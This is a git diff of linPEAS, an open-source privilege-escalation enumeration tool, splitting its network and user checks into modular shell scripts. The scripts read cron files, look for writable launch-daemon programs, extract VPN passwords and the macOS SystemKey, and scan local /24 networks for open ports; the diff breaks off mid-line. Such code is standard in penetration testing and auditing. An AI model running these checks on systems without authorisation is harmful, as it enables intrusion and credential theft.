GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $nosh_usrs, $sh_usrs, $Wfolders +# Initial Functions: +# Generated Global Variables: $temp_file +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then + print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs" + temp_file=$(mktemp) + if [ "$(ps -e -o user,command 2>/dev/null)" ]; then + for i in $(seq 1 1210); do + ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05; + done; + sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"; + rm "$temp_file"; + fi + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Systemd_path.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Systemd_path.sh new file mode 100644 index 0000000..b7b8646 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Systemd_path.sh @@ -0,0 +1,22 @@ +# Title: Processes & Cron & Services & Timers - Systemd PATH +# ID: PR_Systemd_path +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Systemd PATH +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $SEARCH_IN_FOLDER, $Wfolders +# Initial Functions: +# Generated Global Variables: $WRITABLESYSTEMDPATH +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Systemd PATH" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths" + systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" + WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders") + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/8_Cron_jobs.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/8_Cron_jobs.sh new file mode 100644 index 0000000..e6a36a0 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/8_Cron_jobs.sh @@ -0,0 +1,33 @@ +# Title: Processes & Cron & Services & Timers - Cron jobs +# ID: PR_Cron_jobs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate system cron jobs +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $cronjobsG, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders, $cronjobsB +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" + command -v crontab 2>/dev/null || echo_not_found "crontab" + crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + command -v incrontab 2>/dev/null || echo_not_found "incrontab" + incrontab -l 2>/dev/null + ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" + cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + crontab -l -u "$USER" 2>/dev/null | tr -d "\r" + ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths + atq 2>/dev/null +else + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" + find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \; +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_Macos_launch_agents_daemons.sh b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_Macos_launch_agents_daemons.sh new file mode 100644 index 0000000..6c8fe09 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_Macos_launch_agents_daemons.sh @@ -0,0 +1,55 @@ +# Title: Processes & Cron & Services & Timers - Third party LaunchAgents & LaunchDemons +# ID: PR_Macos_launch_agents_daemons +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Third party LaunchAgents & LaunchDemons +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $MACPEAS, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $program +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$MACPEAS" ]; then + print_2title "Third party LaunchAgents & LaunchDemons" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd" + ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null + echo "" + + print_2title "Writable System LaunchAgents & LaunchDemons" + find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do + program="" + program=$(defaults read "$f" Program 2>/dev/null) + if ! [ "$program" ]; then + program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) + fi + if [ -w "$program" ]; then + echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + done + echo "" + + print_2title "StartupItems" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items" + ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null + echo "" + + print_2title "Login Items" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items" + osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null + echo "" + + print_2title "SPStartupItemDataType" + system_profiler SPStartupItemDataType + echo "" + + print_2title "Emond scripts" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond" + ls -l /private/var/db/emondClients + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/5_network_information.sh b/linPEAS/builder/linpeas_parts/5_network_information.sh deleted file mode 100644 index d385ed0..0000000 --- a/linPEAS/builder/linpeas_parts/5_network_information.sh +++ /dev/null @@ -1,192 +0,0 @@ -########################################### -#---------) Network Information (---------# -########################################### - -if [ "$MACOS" ]; then - print_2title "Network Capabilities" - warn_exec system_profiler SPNetworkDataType - echo "" -fi - -#-- NI) Hostname, hosts and DNS -print_2title "Hostname, hosts and DNS" -cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null -warn_exec dnsdomainname 2>/dev/null -echo "" - -#-- NI) /etc/inetd.conf -if [ "$EXTRA_CHECKS" ]; then - print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf" - (cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf" - echo "" -fi - -#-- NI) Interfaces -print_2title "Interfaces" -cat /etc/networks 2>/dev/null -(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null -echo "" - -#-- NI) Neighbours -if [ "$EXTRA_CHECKS" ]; then - print_2title "Networks and neighbours" - if [ "$MACOS" ]; then - netstat -rn 2>/dev/null - else - (route || ip n || cat /proc/net/route) 2>/dev/null - fi - (arp -e || arp -a || cat /proc/net/arp) 2>/dev/null - echo "" -fi - -if [ "$MACPEAS" ]; then - print_2title "Firewall status" - warn_exec system_profiler SPFirewallDataType -fi - -#-- NI) Iptables -if [ "$EXTRA_CHECKS" ]; then - print_2title "Iptables rules" - (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules" - echo "" -fi - -#-- NI) Ports -print_2title "Active Ports" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports" -( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g" -echo "" - -#-- NI) MacOS hardware ports -if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then - print_2title "Hardware Ports" - networksetup -listallhardwareports - echo "" - - print_2title "VLANs" - networksetup -listVLANs - echo "" - - print_2title "Wifi Info" - networksetup -getinfo Wi-Fi - echo "" - - print_2title "Check Enabled Proxies" - scutil --proxy - echo "" - - print_2title "Wifi Proxy URL" - networksetup -getautoproxyurl Wi-Fi - echo "" - - print_2title "Wifi Web Proxy" - networksetup -getwebproxy Wi-Fi - echo "" - - print_2title "Wifi FTP Proxy" - networksetup -getftpproxy Wi-Fi - echo "" -fi - -#-- NI) tcpdump -print_2title "Can I sniff with tcpdump?" -timeout 1 tcpdump >/dev/null 2>&1 -if [ $? -eq 124 ]; then #If 124, then timed out == It worked - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing" - echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED}," -else echo_no -fi -echo "" - -#-- NI) Internet access -if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then - print_2title "Internet Access?" - check_tcp_80 2>/dev/null & - check_tcp_443 2>/dev/null & - check_icmp 2>/dev/null & - check_dns 2>/dev/null & - wait - echo "" -fi - -if [ "$AUTO_NETWORK_SCAN" ]; then - if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then - printf $RED"[-] $SCAN_BAN_BAD\n$NC" - echo "The network is not going to be scanned..." - - elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then - printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC" - echo "The network is not going to be scanned..." - - else - print_2title "Scanning local networks (using /24)" - - if ! [ "$PING" ] && ! [ "$FPING" ]; then - printf $RED"[-] $DISCOVER_BAN_BAD\n$NC" - fi - - select_nc - local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") - printf "%s\n" "$local_ips" | while read local_ip; do - if ! [ -z "$local_ip" ]; then - print_3title "Discovering hosts in $local_ip/24" - - if [ "$PING" ] || [ "$FPING" ]; then - discover_network "$local_ip/24" | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Network Discovery" | grep -v "Network Discovery" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $Wfolder/.ips.tmp - fi - - discovery_port_scan "$local_ip/24" 22 | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Ports going to be scanned" | grep -v "Ports going to be scanned" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp - - sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips - rm $Wfolder/.ips.tmp 2>/dev/null - - while read disc_ip; do - me="" - if [ "$disc_ip" = "$local_ip" ]; then - me=" (local)" - fi - - echo "Scanning top ports of ${disc_ip}${me}" - (tcp_port_scan "$disc_ip" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null - echo "" - done < $Wfolder/.ips - - rm $Wfolder/.ips 2>/dev/null - echo "" - fi - done - - print_3title "Scanning top ports of host.docker.internal" - (tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null - echo "" - fi -fi - -if [ "$MACOS" ]; then - print_2title "Any MacOS Sharing Service Enabled?" - rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); - scrShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.5900" | wc -l); - flShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep -E "\*.88|\*.445|\*.548" | wc -l); - rLgn=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.22" | wc -l); - rAE=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.3031" | wc -l); - bmM=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.4488" | wc -l); - printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; - echo "" - print_2title "VPN Creds" - system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED}," - echo "" - - if [ "$EXTRA_CHECKS" ]; then - print_2title "Bluetooth Info" - warn_exec system_profiler SPBluetoothDataType - echo "" - - print_2title "Ethernet Info" - warn_exec system_profiler SPEthernetDataType - echo "" - - print_2title "USB Info" - warn_exec system_profiler SPUSBDataType - echo "" - fi -fi diff --git a/linPEAS/builder/linpeas_parts/5_network_information/10_Macos_hardware_ports.sh b/linPEAS/builder/linpeas_parts/5_network_information/10_Macos_hardware_ports.sh new file mode 100644 index 0000000..08d9778 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/10_Macos_hardware_ports.sh @@ -0,0 +1,40 @@ +# Title: Network Information - MacOS hardware ports +# ID: NT_Macos_hardware_ports +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate macOS hardware ports +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $EXTRA_CHECKS, $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then + print_2title "Hardware Ports" + networksetup -listallhardwareports + echo "" + + print_2title "VLANs" + networksetup -listVLANs + echo "" + + print_2title "Wifi Info" + networksetup -getinfo Wi-Fi + echo "" + + print_2title "Check Enabled Proxies" + scutil --proxy + echo "" + + print_2title "Wifi Proxy URL" + networksetup -getautoproxyurl Wi-Fi + echo "" + + print_2title "Wifi Web Proxy" + networksetup -getwebproxy Wi-Fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh b/linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh new file mode 100644 index 0000000..43c74c5 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh @@ -0,0 +1,24 @@ +# Title: Network Information - Internet access +# ID: NT_Internet_access +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check for internet access +# License: GNU GPL +# Version: 1.0 +# Functions Used: check_dns, check_icmp, check_tcp_443, check_tcp_80, print_2title +# Global Variables: $FAST, $TIMEOUT +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then + print_2title "Internet Access?" + check_tcp_80 2>/dev/null & + check_tcp_443 2>/dev/null & + check_icmp 2>/dev/null & + check_dns 2>/dev/null & + wait + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/5_network_information/1_Network_interfaces.sh b/linPEAS/builder/linpeas_parts/5_network_information/1_Network_interfaces.sh new file mode 100644 index 0000000..7da81f2 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/1_Network_interfaces.sh @@ -0,0 +1,19 @@ +# Title: Network Information - Network interfaces +# ID: NT_Network_interfaces +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check network interfaces +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Interfaces" +cat /etc/networks 2>/dev/null +(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/5_network_information/2_Hostname_hosts_dns.sh b/linPEAS/builder/linpeas_parts/5_network_information/2_Hostname_hosts_dns.sh new file mode 100644 index 0000000..4d2453a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/2_Hostname_hosts_dns.sh @@ -0,0 +1,19 @@ +# Title: Network Information - Hostname, hosts and DNS +# ID: NT_Hostname_hosts_dns +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get hostname, hosts and DNS +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, warn_exec +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Hostname, hosts and DNS" +cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null +warn_exec dnsdomainname 2>/dev/null +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/5_network_information/3_Network_neighbours.sh b/linPEAS/builder/linpeas_parts/5_network_information/3_Network_neighbours.sh new file mode 100644 index 0000000..e54838b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/3_Network_neighbours.sh @@ -0,0 +1,25 @@ +# Title: Network Information - Network neighbours +# ID: NT_Network_neighbours +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Networks and neighbours +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $EXTRA_CHECKS, $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$EXTRA_CHECKS" ]; then + print_2title "Networks and neighbours" + if [ "$MACPEAS" ]; then + netstat -rn 2>/dev/null + else + (route || ip n || cat /proc/net/route) 2>/dev/null + fi + (arp -e || arp -a || cat /proc/net/arp) 2>/dev/null + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh b/linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh new file mode 100644 index 0000000..404f64f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh @@ -0,0 +1,19 @@ +# Title: Network Information - Open ports +# ID: NT_Open_ports +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate open ports +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Active Ports" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports" +( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g" +echo "" diff --git a/linPEAS/builder/linpeas_parts/5_network_information/5_Macos_network_capabilities.sh b/linPEAS/builder/linpeas_parts/5_network_information/5_Macos_network_capabilities.sh new file mode 100644 index 0000000..a0a1598 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/5_Macos_network_capabilities.sh @@ -0,0 +1,20 @@ +# Title: Network Information - MacOS network capabilities +# ID: NT_Macos_network_capabilities +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: MacOS network Capabilities +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, warn_exec +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ]; then + print_2title "Network Capabilities" + warn_exec system_profiler SPNetworkDataType + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/5_network_information/6_Macos_network_services.sh b/linPEAS/builder/linpeas_parts/5_network_information/6_Macos_network_services.sh new file mode 100644 index 0000000..5e5358b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/6_Macos_network_services.sh @@ -0,0 +1,46 @@ +# Title: Network Information - MacOS Network Services +# ID: NT_Macos_network_services +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate macos network services +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, warn_exec +# Global Variables: $EXTRA_CHECKS, $MACPEAS +# Initial Functions: +# Generated Global Variables: $rmMgmt, $scrShrng, $flShrng, $rLgn, $rAE, $bmM +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ]; then + print_2title "Any MacOS Sharing Service Enabled?" + rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); + scrShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.5900" | wc -l); + flShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep -E "\*.88|\*.445|\*.548" | wc -l); + rLgn=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.22" | wc -l); + rAE=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.3031" | wc -l); + bmM=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.4488" | wc -l); + printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; + echo "" + print_2title "VPN Creds" + system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED}," + echo "" + print_2title "Firewall status" + warn_exec system_profiler SPFirewallDataType + echo "" + + if [ "$EXTRA_CHECKS" ]; then + print_2title "Bluetooth Info" + warn_exec system_profiler SPBluetoothDataType + echo "" + + print_2title "Ethernet Info" + warn_exec system_profiler SPEthernetDataType + echo "" + + print_2title "USB Info" + warn_exec system_profiler SPUSBDataType + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/5_network_information/7_Tcpdump.sh b/linPEAS/builder/linpeas_parts/5_network_information/7_Tcpdump.sh new file mode 100644 index 0000000..73ea53f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/7_Tcpdump.sh @@ -0,0 +1,23 @@ +# Title: Network Information - Tcpdump +# ID: NT_Tcpdump +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Can I sniff with tcpdump? +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_no, print_2title, print_info +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Can I sniff with tcpdump?" +timeout 1 tcpdump >/dev/null 2>&1 +if [ $? -eq 124 ]; then #If 124, then timed out == It worked + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing" + echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED}," +else echo_no +fi +echo "" diff --git a/linPEAS/builder/linpeas_parts/5_network_information/8_Iptables.sh b/linPEAS/builder/linpeas_parts/5_network_information/8_Iptables.sh new file mode 100644 index 0000000..4912551 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/8_Iptables.sh @@ -0,0 +1,20 @@ +# Title: Network Information - Iptables +# ID: NT_Iptables +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate iptables rules +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $EXTRA_CHECKS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$EXTRA_CHECKS" ]; then + print_2title "Iptables rules" + (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/5_network_information/9_Inetdconf.sh b/linPEAS/builder/linpeas_parts/5_network_information/9_Inetdconf.sh new file mode 100644 index 0000000..6cb3934 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/5_network_information/9_Inetdconf.sh @@ -0,0 +1,20 @@ +# Title: Network Information - Inetconf +# ID: NT_Inetdconf +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check content of /etc/inetd.conf & /etc/xinetd.conf +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $EXTRA_CHECKS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$EXTRA_CHECKS" ]; then + print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf" + (cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/6_users_information.sh b/linPEAS/builder/linpeas_parts/6_users_information.sh deleted file mode 100644 index c46d39f..0000000 --- a/linPEAS/builder/linpeas_parts/6_users_information.sh +++ /dev/null @@ -1,232 +0,0 @@ -########################################### -#----------) Users Information (----------# -########################################### - -#-- UI) My user -print_2title "My user" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users" -(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" -echo "" - -if [ "$MACPEAS" ];then - print_2title "Current user Login and Logout hooks" - defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook" - echo "" - - print_2title "All Login and Logout hooks" - defaults read /Users/*/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook" - defaults read /private/var/root/Library/Preferences/com.apple.loginwindow.plist - echo "" - - print_2title "Keychains" - print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#chainbreaker" - security list-keychains - echo "" - - print_2title "SystemKey" - ls -l /var/db/SystemKey - if [ -r "/var/db/SystemKey" ]; then - echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},"; - hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},"; - fi - echo "" -fi - -#-- UI) PGP keys? -print_2title "Do I have PGP keys?" -command -v gpg 2>/dev/null || echo_not_found "gpg" -gpg --list-keys 2>/dev/null -command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys" -netpgpkeys --list-keys 2>/dev/null -command -v netpgp 2>/dev/null || echo_not_found "netpgp" -echo "" - -#-- UI) Clipboard and highlighted text -if [ "$(command -v xclip 2>/dev/null)" ] || [ "$(command -v xsel 2>/dev/null)" ] || [ "$(command -v pbpaste 2>/dev/null)" ] || [ "$DEBUG" ]; then - print_2title "Clipboard or highlighted text?" - if [ "$(command -v xclip 2>/dev/null)" ]; then - echo "Clipboard: "$(xclip -o -selection clipboard 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," - echo "Highlighted text: "$(xclip -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," - elif [ "$(command -v xsel 2>/dev/null)" ]; then - echo "Clipboard: "$(xsel 